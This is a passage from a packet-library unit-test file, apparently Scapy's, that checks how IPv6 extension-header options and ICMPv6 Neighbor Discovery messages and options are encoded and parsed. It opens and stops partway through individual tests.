b'\\x01\\x09BBBBBBBBBB'\n\n\n############\n############\n+ Test RouterAlert Class (RFC 2711)\n\n= RouterAlert - Basic Instantiation \nraw(RouterAlert()) == b'\\x05\\x02\\x00\\x00'\n\n= RouterAlert - Basic Dissection \na=RouterAlert(b'\\x05\\x02\\x00\\x00')\na.otype == 0x05 and a.optlen == 2 and a.value == 00\n\n= RouterAlert - Instantiation with specific values \nraw(RouterAlert(optlen=3, value=0xffff)) == b'\\x05\\x03\\xff\\xff' \n\n= RouterAlert - Instantiation with specific values\na=RouterAlert(b'\\x05\\x03\\xff\\xff')\na.otype == 0x05 and a.optlen == 3 and a.value == 0xffff\n\n############\n############\n+ Test RPL Option (RFC 6553)\n\n= RplOption - Basic Instantiation\nraw(RplOption()) == b'c\\x04\\x00\\x00\\x00\\x00'\n\n= RplOption - Basic Dissection\na=RplOption(b'c\\x04\\x00\\x00\\x00\\x00')\na.otype == 0x63 and a.optlen == 4 and a.Down == False and a.RankError == 0 and a.ForwardError == 0 and a.RplInstanceId == 0 and a.SenderRank == 0\n\n= RplOption - Instantiation with specific values\na=RplOption(RplInstanceId=0x1e, SenderRank=0x800)\na.otype == 0x63 and a.optlen == 4 and a.Down == False and a.RankError == 0 and a.ForwardError == 0 and a.RplInstanceId == 0x1e and a.SenderRank == 0x800\n\n= RplOption - Instantiation with specific values\na=RplOption(Down=True, RplInstanceId=0x1e, SenderRank=0x800)\na.otype == 0x63 and a.optlen == 4 and a.Down == True and a.RankError == 0 and a.ForwardError == 0 and a.RplInstanceId == 0x1e and a.SenderRank == 0x800\nraw(a) == b'c\\x04\\x80\\x1e\\x08\\x00'\n\n############\n############\n+ Test Jumbo Class (RFC 2675)\n\n= Jumbo - Basic Instantiation \nraw(Jumbo()) == b'\\xc2\\x04\\x00\\x00\\x00\\x00'\n\n= Jumbo - Basic Dissection \na=Jumbo(b'\\xc2\\x04\\x00\\x00\\x00\\x00')\na.otype == 0xC2 and a.optlen == 4 and a.jumboplen == 0\n\n= Jumbo - Instantiation with specific values\nraw(Jumbo(optlen=6, jumboplen=0xffffffff)) == b'\\xc2\\x06\\xff\\xff\\xff\\xff'\n\n= Jumbo - Dissection with specific values \na=Jumbo(b'\\xc2\\x06\\xff\\xff\\xff\\xff')\na.otype == 0xc2 and a.optlen == 6 and a.jumboplen == 0xffffffff\n\n\n############\n############\n+ Test HAO Class (RFC 3775)\n\n= HAO - Basic Instantiation \nraw(HAO()) == b'\\xc9\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= HAO - Basic Dissection \na=HAO(b'\\xc9\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.otype == 0xC9 and a.optlen == 16 and a.hoa == \"::\"\n\n= HAO - Instantiation with specific values\nraw(HAO(optlen=9, hoa=\"2001::ffff\")) == b'\\xc9\\t \\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff'\n\n= HAO - Dissection with specific values \na=HAO(b'\\xc9\\t \\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff')\na.otype == 0xC9 and a.optlen == 9 and a.hoa == \"2001::ffff\"\n\n= HAO - hashret\n\np = IPv6()/IPv6ExtHdrDestOpt(options=HAO(hoa=\"2001:db8::1\"))/ICMPv6EchoRequest()\np.hashret() == b' \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00:\\x00\\x00\\x00\\x00'\n\n\n############\n############\n+ Test IPv6ExtHdrHopByHop()\n\n= IPv6ExtHdrHopByHop - Basic Instantiation \nraw(IPv6ExtHdrHopByHop()) ==  b';\\x00\\x01\\x04\\x00\\x00\\x00\\x00'\n\n= IPv6ExtHdrHopByHop - Instantiation with HAO option\nraw(IPv6ExtHdrHopByHop(options=[HAO()])) == b';\\x02\\x01\\x02\\x00\\x00\\xc9\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= IPv6ExtHdrHopByHop - Instantiation with RouterAlert option\nraw(IPv6ExtHdrHopByHop(options=[RouterAlert()])) == b';\\x00\\x05\\x02\\x00\\x00\\x01\\x00'\n\n= IPv6ExtHdrHopByHop - Instantiation with RPL option\nraw(IPv6ExtHdrHopByHop(options=[RplOption()])) == b';\\x00c\\x04\\x00\\x00\\x00\\x00'\n \n= IPv6ExtHdrHopByHop - Instantiation with Jumbo option\nraw(IPv6ExtHdrHopByHop(options=[Jumbo()])) == b';\\x00\\xc2\\x04\\x00\\x00\\x00\\x00'\n\n= IPv6ExtHdrHopByHop - Complete dissection with Jumbo option\ns = b'`\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01:\\x00\\xc2\\x04\\x00\\x00\\x00\\x10\\x80\\x00\\x7f\\xbb\\x00\\x00\\x00\\x00'\np = IPv6(s)\nassert IPv6ExtHdrHopByHop in p and Jumbo in p and ICMPv6EchoRequest in p\n\ns = b'`\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01:\\x01\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\xc2\\x04\\x00\\x00\\x00\\x18\\x80\\x00\\x7f\\xbb\\x00\\x00\\x00\\x00'\np = IPv6(s)\nassert IPv6ExtHdrHopByHop in p and PadN in p and Jumbo in p and ICMPv6EchoRequest in p\n\n= IPv6ExtHdrHopByHop - Instantiation with Pad1 option\nraw(IPv6ExtHdrHopByHop(options=[Pad1()])) == b';\\x00\\x00\\x01\\x03\\x00\\x00\\x00'\n\n= IPv6ExtHdrHopByHop - Instantiation with PadN option\nraw(IPv6ExtHdrHopByHop(options=[Pad1()])) == b';\\x00\\x00\\x01\\x03\\x00\\x00\\x00'\n\n= IPv6ExtHdrHopByHop - Instantiation with Jumbo, RouterAlert, HAO\nraw(IPv6ExtHdrHopByHop(options=[Jumbo(), RouterAlert(), HAO()])) == b';\\x03\\xc2\\x04\\x00\\x00\\x00\\x00\\x05\\x02\\x00\\x00\\x01\\x00\\xc9\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= IPv6ExtHdrHopByHop - Instantiation with HAO, Jumbo, RouterAlert\nraw(IPv6ExtHdrHopByHop(options=[HAO(), Jumbo(), RouterAlert()])) == b';\\x04\\x01\\x02\\x00\\x00\\xc9\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\xc2\\x04\\x00\\x00\\x00\\x00\\x05\\x02\\x00\\x00\\x01\\x02\\x00\\x00'\n\n= IPv6ExtHdrHopByHop - Instantiation with RouterAlert, HAO, Jumbo\nraw(IPv6ExtHdrHopByHop(options=[RouterAlert(), HAO(), Jumbo()])) == b';\\x03\\x05\\x02\\x00\\x00\\xc9\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\xc2\\x04\\x00\\x00\\x00\\x00'\n\n= IPv6ExtHdrHopByHop - Hashret\n(IPv6(src=\"::1\", dst=\"::1\")/IPv6ExtHdrHopByHop()).hashret() == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00;'\n\n= IPv6ExtHdrHopByHop - Basic Dissection\na=IPv6ExtHdrHopByHop(b';\\x00\\x01\\x04\\x00\\x00\\x00\\x00')\na.nh == 59 and a.len == 0 and len(a.options) == 1 and isinstance(a.options[0], PadN) and a.options[0].otype == 1 and a.options[0].optlen == 4 and a.options[0].optdata == b'\\x00'*4\n\n#= IPv6ExtHdrHopByHop - Automatic length computation\n#raw(IPv6ExtHdrHopByHop(options=[\"toto\"])) == b'\\x00\\x00toto'\n#= IPv6ExtHdrHopByHop - Automatic length computation\n#raw(IPv6ExtHdrHopByHop(options=[\"toto\"])) == b'\\x00\\x00tototo'\n\n\n############\n############\n+ Test ICMPv6ND_RS() class - ICMPv6 Type 133 Code 0\n\n= ICMPv6ND_RS - Basic instantiation\nraw(ICMPv6ND_RS()) == b'\\x85\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6ND_RS - Basic instantiation with empty dst in IPv6 underlayer\nraw(IPv6(src=\"2001:db8::1\")/ICMPv6ND_RS()) == b'`\\x00\\x00\\x00\\x00\\x08:\\xff \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x85\\x00M\\xfe\\x00\\x00\\x00\\x00'\n\n= ICMPv6ND_RS - Basic dissection\na=ICMPv6ND_RS(b'\\x85\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.type == 133 and a.code == 0 and a.cksum == 0 and a.res == 0 \n\n= ICMPv6ND_RS - Basic instantiation with empty dst in IPv6 underlayer\na=IPv6(b'`\\x00\\x00\\x00\\x00\\x08:\\xff \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x85\\x00M\\xfe\\x00\\x00\\x00\\x00')\nassert isinstance(a, IPv6) and a.nh == 58 and a.hlim == 255 and isinstance(a.payload, ICMPv6ND_RS) and a.payload.type == 133 and a.payload.code == 0 and a.payload.cksum == 0x4dfe and a.payload.res == 0\nassert a.hashret() == b\":\"\n\n\n############\n############\n+ Test ICMPv6ND_RA() class - ICMPv6 Type 134 Code 0\n\n= ICMPv6ND_RA - Basic Instantiation \nraw(ICMPv6ND_RA()) == b'\\x86\\x00\\x00\\x00\\x00\\x08\\x07\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6ND_RA - Basic instantiation with empty dst in IPv6 underlayer\nraw(IPv6(src=\"2001:db8::1\")/ICMPv6ND_RA()) == b'`\\x00\\x00\\x00\\x00\\x10:\\xff \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x86\\x00E\\xe7\\x00\\x08\\x07\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6ND_RA - Basic dissection\na=ICMPv6ND_RA(b'\\x86\\x00\\x00\\x00\\x00\\x08\\x07\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.type == 134 and a.code == 0 and a.cksum == 0 and a.chlim == 0 and a.M == 0 and a.O == 0 and a.H == 0 and a.prf == 1 and a.res == 0 and a.routerlifetime == 1800 and a.reachabletime == 0 and a.retranstimer == 0\n\n= ICMPv6ND_RA - Basic instantiation with empty dst in IPv6 underlayer\na=IPv6(b'`\\x00\\x00\\x00\\x00\\x10:\\xff \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x86\\x00E\\xe7\\x00\\x08\\x07\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nisinstance(a, IPv6) and a.nh == 58 and a.hlim == 255 and isinstance(a.payload, ICMPv6ND_RA) and a.payload.type == 134 and a.code == 0 and a.cksum == 0x45e7 and a.chlim == 0 and a.M == 0 and a.O == 0 and a.H == 0 and a.prf == 1 and a.res == 0 and a.routerlifetime == 1800 and a.reachabletime == 0 and a.retranstimer == 0 \n\n= ICMPv6ND_RA - Answers\nassert ICMPv6ND_RA().answers(ICMPv6ND_RS())\na=IPv6(b'`\\x00\\x00\\x00\\x00\\x10:\\xff \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x86\\x00E\\xe7\\x00\\x08\\x07\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nb = IPv6(b\"`\\x00\\x00\\x00\\x00\\x10:\\xff\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x85\\x00M\\xff\\x00\\x00\\x00\\x00\")\nassert a.answers(b)\n\n= ICMPv6ND_RA - Summary Output\nICMPv6ND_RA(chlim=42, M=0, O=1, H=0, prf=1, P=0, routerlifetime=300).mysummary() == \"ICMPv6 Neighbor Discovery - Router Advertisement Lifetime 300 Hop Limit 42 Preference High Managed 0 Other 1 Home 0\"\n\n############\n############\n+ ICMPv6ND_NS Class Test\n\n= ICMPv6ND_NS - Basic Instantiation\nraw(ICMPv6ND_NS()) == b'\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6ND_NS - Instantiation with specific values\nraw(ICMPv6ND_NS(code=0x11, res=3758096385, tgt=\"ffff::1111\")) == b'\\x87\\x11\\x00\\x00\\xe0\\x00\\x00\\x01\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11'\n\n= ICMPv6ND_NS - Basic Dissection\na=ICMPv6ND_NS(b'\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.code==0 and a.res==0 and a.tgt==\"::\"\n\n= ICMPv6ND_NS - Dissection with specific values\na=ICMPv6ND_NS(b'\\x87\\x11\\x00\\x00\\xe0\\x00\\x00\\x01\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11')\nassert a.code==0x11 and a.res==3758096385 and a.tgt==\"ffff::1111\"\nassert a.hashret() == b\"ffff::1111\"\n\n= ICMPv6ND_NS - IPv6 layer fields overloading\na=IPv6(raw(IPv6()/ICMPv6ND_NS()))\na.nh == 58 and a.dst==\"ff02::1\" and a.hlim==255\n\n############\n############\n+ ICMPv6ND_NA Class Test\n\n= ICMPv6ND_NA - Basic Instantiation\nraw(ICMPv6ND_NA()) == b'\\x88\\x00\\x00\\x00\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6ND_NA - Instantiation with specific values\nraw(ICMPv6ND_NA(code=0x11, R=0, S=1, O=0, res=1, tgt=\"ffff::1111\")) == b'\\x88\\x11\\x00\\x00@\\x00\\x00\\x01\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11'\n\n= ICMPv6ND_NA - Basic Dissection\na=ICMPv6ND_NA(b'\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.code==0 and a.R==0 and a.S==0 and a.O==0 and a.res==0 and a.tgt==\"::\"\n\n= ICMPv6ND_NA - Dissection with specific values\na=ICMPv6ND_NA(b'\\x88\\x11\\x00\\x00@\\x00\\x00\\x01\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x11')\na.code==0x11 and a.R==0 and a.S==1 and a.O==0 and a.res==1 and a.tgt==\"ffff::1111\"\nassert a.hashret() == b'ffff::1111'\n\n= ICMPv6ND_NS - IPv6 layer fields overloading\na=IPv6(raw(IPv6()/ICMPv6ND_NS()))\na.nh == 58 and a.dst==\"ff02::1\" and a.hlim==255\n\n\n############\n############\n+ ICMPv6ND_ND/ICMPv6ND_ND matching test\n\n=  ICMPv6ND_ND/ICMPv6ND_ND matching - test 1\n# Sent NS \na=IPv6(b'`\\x00\\x00\\x00\\x00\\x18:\\xff\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x0f\\x1f\\xff\\xfe\\xcaFP\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x87\\x00UC\\x00\\x00\\x00\\x00\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x0f4\\xff\\xfe\\x8a\\x8a\\xa1')\n# Received NA \nb=IPv6(b'n\\x00\\x00\\x00\\x00 :\\xff\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x0f4\\xff\\xfe\\x8a\\x8a\\xa1\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x0f\\x1f\\xff\\xfe\\xcaFP\\x88\\x00\\xf3F\\xe0\\x00\\x00\\x00\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x0f4\\xff\\xfe\\x8a\\x8a\\xa1\\x02\\x01\\x00\\x0f4\\x8a\\x8a\\xa1')\nb.answers(a)\n\n\n############\n############\n+ ICMPv6NDOptUnknown Class Test\n\n= ICMPv6NDOptUnknown - Basic Instantiation\nb = b'\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\n\nraw(ICMPv6NDOptUnknown()) == b\n\n= ICMPv6NDOptUnknown - Instantiation with specific values\nraw(ICMPv6NDOptUnknown(data=\"somestring\")) == b'\\x00\\x02somestring\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptUnknown - Basic Dissection\nb = b'\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\n\np = ICMPv6NDOptUnknown(b)\np.type == 0 and p.len == 1 and p.data == b'\\x00' * 6\n\np = ICMPv6NDOptUnknown(b + b'\\x00')\nassert Raw in p and raw(p[Raw]) == b'\\x00'\n\np = ICMPv6NDOptUnknown(b + b'\\x00\\x00')\nassert raw(p[ICMPv6NDOptUnknown:2]) == b'\\x00\\x00'\n\n= ICMPv6NDOptUnknown - Dissection with specific values \np = ICMPv6NDOptUnknown(b'\\x00\\x01string')\nassert p.type == 0 and p.len == 1 and p.data == b'string'\n\np = ICMPv6NDOptUnknown(b'\\x00\\x04somestring')\nassert p.type == 0 and p.len == 4 and p.data == b'somestring'\n\n= ICMPv6NDOptUnknown - Instantiation/Dissection with unknown option in the middle\nb = b'\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02somestring\\x00\\x00\\x00\\x00%\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\n\np = ICMPv6NDOptSrcLLAddr()/ICMPv6NDOptUnknown(data='somestring')/ICMPv6NDOptCaptivePortal()\nassert raw(p) == b\n\np = ICMPv6NDOptSrcLLAddr(b)[ICMPv6NDOptUnknown]\nassert p.type == 0 and p.len == 2 and p.data == b'somestring\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptUnknown - fuzz\nassert isinstance(fuzz(ICMPv6NDOptUnknown()).type, RandByte)\n\n############\n############\n+ ICMPv6NDOptSrcLLAddr Class Test\n\n= ICMPv6NDOptSrcLLAddr - Basic Instantiation\nraw(ICMPv6NDOptSrcLLAddr()) == b'\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptSrcLLAddr - Instantiation with specific values\nraw(ICMPv6NDOptSrcLLAddr(len=2, lladdr=\"11:11:11:11:11:11\")) == b'\\x01\\x02\\x11\\x11\\x11\\x11\\x11\\x11'\n\n= ICMPv6NDOptSrcLLAddr - Basic Dissection\na=ICMPv6NDOptSrcLLAddr(b'\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00')\na.type == 1 and a.len == 1 and a.lladdr == \"00:00:00:00:00:00\"\n\n= ICMPv6NDOptSrcLLAddr - Instantiation with specific values\na=ICMPv6NDOptSrcLLAddr(b'\\x01\\x02\\x11\\x11\\x11\\x11\\x11\\x11') \na.type == 1 and a.len == 2 and a.lladdr == \"11:11:11:11:11:11\"\n\n\n############\n############\n+ ICMPv6NDOptDstLLAddr Class Test\n\n= ICMPv6NDOptDstLLAddr - Basic Instantiation\nraw(ICMPv6NDOptDstLLAddr()) == b'\\x02\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptDstLLAddr - Instantiation with specific values\nraw(ICMPv6NDOptDstLLAddr(len=2, lladdr=\"11:11:11:11:11:11\")) == b'\\x02\\x02\\x11\\x11\\x11\\x11\\x11\\x11'\n\n= ICMPv6NDOptDstLLAddr - Basic Dissection\na=ICMPv6NDOptDstLLAddr(b'\\x02\\x01\\x00\\x00\\x00\\x00\\x00\\x00')\na.type == 2 and a.len == 1 and a.lladdr == \"00:00:00:00:00:00\"\n\n= ICMPv6NDOptDstLLAddr - Instantiation with specific values\na=ICMPv6NDOptDstLLAddr(b'\\x02\\x02\\x11\\x11\\x11\\x11\\x11\\x11') \na.type == 2 and a.len == 2 and a.lladdr == \"11:11:11:11:11:11\"\n\n\n############\n############\n+ ICMPv6NDOptPrefixInfo Class Test\n\n= ICMPv6NDOptPrefixInfo - Basic Instantiation\nraw(ICMPv6NDOptPrefixInfo()) == b'\\x03\\x04@\\xc0\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptPrefixInfo - Instantiation with specific values\nraw(ICMPv6NDOptPrefixInfo(len=5, prefixlen=64, L=0, A=0, R=1, res1=1, validlifetime=0x11111111, preferredlifetime=0x22222222, res2=0x33333333, prefix=\"2001:db8::1\")) == b'\\x03\\x05@!\\x11\\x11\\x11\\x11\"\"\"\"3333 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\n= ICMPv6NDOptPrefixInfo - Basic Dissection\na=ICMPv6NDOptPrefixInfo(b'\\x03\\x04\\x00\\xc0\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.type == 3 and a.len == 4 and a.prefixlen == 0 and a.L == 1 and a.A == 1 and a.R == 0 and a.res1 == 0 and a.validlifetime == 0xffffffff and a.preferredlifetime == 0xffffffff and a.res2 == 0 and a.prefix == \"::\"\n\n= ICMPv6NDOptPrefixInfo - Instantiation with specific values\na=ICMPv6NDOptPrefixInfo(b'\\x03\\x05@!\\x11\\x11\\x11\\x11\"\"\"\"3333 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01')\na.type == 3 and a.len == 5 and a.prefixlen == 64 and a.L == 0 and a.A == 0 and a.R == 1 and a.res1 == 1 and a.validlifetime == 0x11111111 and a.preferredlifetime == 0x22222222 and a.res2 == 0x33333333 and a.prefix == \"2001:db8::1\"\n\n\n############\n############\n+ ICMPv6NDOptRedirectedHdr Class Test \n\n= ICMPv6NDOptRedirectedHdr - Basic Instantiation\n~ ICMPv6NDOptRedirectedHdr\nraw(ICMPv6NDOptRedirectedHdr()) == b'\\x04\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptRedirectedHdr - Instantiation with specific values \n~ ICMPv6NDOptRedirectedHdr\nraw(ICMPv6NDOptRedirectedHdr(len=0xff, res=\"abcdef\", pkt=\"somestringthatisnotanipv6packet\")) == b'\\x04\\xffabcdefsomestringthatisnotanipv'\n\n= ICMPv6NDOptRedirectedHdr - Instantiation with simple IPv6 packet (no upper layer)\n~ ICMPv6NDOptRedirectedHdr\nraw(ICMPv6NDOptRedirectedHdr(pkt=IPv6())) == b'\\x04\\x06\\x00\\x00\\x00\\x00\\x00\\x00`\\x00\\x00\\x00\\x00\\x00;@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\n= ICMPv6NDOptRedirectedHdr - Basic Dissection\n~ ICMPv6NDOptRedirectedHdr\na=ICMPv6NDOptRedirectedHdr(b'\\x04\\x00\\x00\\x00')\nassert a.type == 4\nassert a.len == 0\nassert a.res == b\"\\x00\\x00\"\nassert a.pkt == b\"\"\n\n= ICMPv6NDOptRedirectedHdr - Disssection with specific values\n~ ICMPv6NDOptRedirectedHdr\nwith no_debug_dissector():\n    a=ICMPv6NDOptRedirectedHdr(b'\\x04\\xff\\x11\\x11\\x00\\x00\\x00\\x00somerawingthatisnotanipv6pac')\n\na.type == 4 and a.len == 255 and a.res == b'\\x11\\x11\\x00\\x00\\x00\\x00' and isinstance(a.pkt, Raw) and a.pkt.load == b\"somerawingthatisnotanipv6pac\"\n\n= ICMPv6NDOptRedirectedHdr - Dissection with cut IPv6 Header\n~ ICMPv6NDOptRedirectedHdr\nwith no_debug_dissector():\n    a=ICMPv6NDOptRedirectedHdr(b'\\x04\\x06\\x00\\x00\\x00\\x00\\x00\\x00`\\x00\\x00\\x00\\x00\\x00;@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\n\na.type == 4 and a.len == 6 and a.res == b\"\\x00\\x00\\x00\\x00\\x00\\x00\" and isinstance(a.pkt, Raw) and a.pkt.load == b'`\\x00\\x00\\x00\\x00\\x00;@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptRedirectedHdr - Complete dissection\n~ ICMPv6NDOptRedirectedHdr\nx=ICMPv6NDOptRedirectedHdr(b'\\x04\\x06\\x00\\x00\\x00\\x00\\x00\\x00`\\x00\\x00\\x00\\x00\\x00;@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01')\ny=x.copy()\ndel y.len\nx == ICMPv6NDOptRedirectedHdr(raw(y))\n\n# Add more tests\n\n\n############\n############\n+ ICMPv6NDOptMTU Class Test \n\n= ICMPv6NDOptMTU - Basic Instantiation\nraw(ICMPv6NDOptMTU()) == b'\\x05\\x01\\x00\\x00\\x00\\x00\\x05\\x00'\n\n= ICMPv6NDOptMTU - Instantiation with specific values\nraw(ICMPv6NDOptMTU(len=2, res=0x1111, mtu=1500)) == b'\\x05\\x02\\x11\\x11\\x00\\x00\\x05\\xdc'\n \n= ICMPv6NDOptMTU - Basic dissection\na=ICMPv6NDOptMTU(b'\\x05\\x01\\x00\\x00\\x00\\x00\\x05\\x00')\na.type == 5 and a.len == 1 and a.res == 0 and a.mtu == 1280\n\n= ICMPv6NDOptMTU - Dissection with specific values\na=ICMPv6NDOptMTU(b'\\x05\\x02\\x11\\x11\\x00\\x00\\x05\\xdc')\na.type == 5 and a.len == 2 and a.res == 0x1111 and a.mtu == 1500\n\n= ICMPv6NDOptMTU - Summary Output\nICMPv6NDOptMTU(b'\\x05\\x02\\x11\\x11\\x00\\x00\\x05\\xdc').mysummary() == \"ICMPv6 Neighbor Discovery Option - MTU 1500\"\n\n\n############\n############\n+ ICMPv6NDOptShortcutLimit Class Test (RFC2491)\n\n= ICMPv6NDOptShortcutLimit - Basic Instantiation\nraw(ICMPv6NDOptShortcutLimit()) == b'\\x06\\x01(\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NDOptShortcutLimit - Instantiation with specific values\nraw(ICMPv6NDOptShortcutLimit(len=2, shortcutlim=0x11, res1=0xee, res2=0xaaaaaaaa)) == b'\\x06\\x02\\x11\\xee\\xaa\\xaa\\xaa\\xaa'\n\n= ICMPv6NDOptShortcutLimit - Basic Dissection\na=ICMPv6NDOptShortcutLimit(b'\\x06\\x01(\\x00\\x00\\x00\\x00\\x00')\na.type == 6 and a.len == 1 and a.shortcutlim == 40 and a.res1 == 0 and a.res2 == 0\n\n= ICMPv6NDOptShortcutLimit - 